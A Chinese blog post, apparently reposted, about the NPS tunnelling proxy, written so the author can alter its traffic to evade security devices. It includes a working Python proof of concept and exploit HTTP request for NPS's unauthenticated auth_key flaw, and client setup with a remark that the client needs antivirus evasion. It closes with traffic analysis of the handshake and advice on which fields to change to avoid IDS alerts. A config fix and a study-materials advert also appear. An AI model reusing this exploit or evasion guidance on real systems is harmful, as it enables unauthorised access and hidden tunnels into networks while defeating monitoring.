前言
因為想要寫一個socks的流量演算法去繞過安全設備,所以這里對nps的流量特征總結一下,方便自己后期的魔改,
環境
ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install
cd /etc/nps/conf/
vim nps.conf
組態檔
#web
web_host=a.o.com
web_username=xxxx //管理端用戶名
web_password=xxxxxx //管理端密碼
web_port = xxxxx //管理端埠
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps
##bridge
bridge_type=tcp //客戶端連接協議tcp
bridge_port=xxxx //客戶端連接埠
bridge_ip=0.0.0.0
bridge_port的默認埠默認為8024,這里不建議改為默認的,連接客戶端的時候可能會觸發安全設備規則
NPS未授權復現
POC
#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
?
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
直接訪問
http://vps:port?payload
exp請求介面
POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
?
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
參考鏈接:
https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
修復措施
vim /etc/nps/conf/nps.conf取消注釋auth_key,添加auth_crypt_key`注釋
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
修改為
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
目前最新版本的也存在改配置不當問題,這里需要修改配置,修復之后是無法通過未授權讀取內容資訊的,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
socks流量分析
nps start
訪問http://vps:port/login
新增客戶端
這里用戶名和密碼隨意,這里是客戶端登錄的認證用戶名,在客戶端連接的時候是根據密鑰來實作的,
客戶端選擇windwos server 2012R2
修改客戶端組態檔
[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
客戶端啟動
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
正常情況下會報毒,所以這里針對殺軟這一塊兒,客戶端需要做一下免殺處理,
查看連接狀態
使用goby測驗socks5
測驗代理
已成功實作內網穿透,
這里使用wireshark抓取流量包,
初始流量服務器向客戶端發送TST
同時客戶端向服務端確認版本,同時回傳客戶端版本0.26.0
代碼位置nps/lib/version/version.go
服務端接收到請求后,客戶端請求的資料內容為nps的版本為0.26.10
服務端接收到請求后回傳給客戶端服務端版本的md5值,即
md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
可以發現在產生nps客戶端連接的時候,會產生資料校驗,這里資料校驗就是有服務器到
這是客戶端傳輸給服務端密鑰連接
md5(vkey)
服務端在接收到客戶端的請求后校驗資料后回傳success
這里客戶端和服務端的連接流量就比較清晰了,那么想要bypass安全設備的告警,在修改加密方式和修改版本關鍵字即可,因為在做流量隱藏的時候跟bypassav不一樣,不會考慮檔案的哈希以及檔案在沙箱中的落地狀態,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/509117.html
標籤:其他
上一篇:帶你掌握如何使用CANN 算子ST測驗工具msopst
下一篇:問:為什么硬體測驗如此重要???
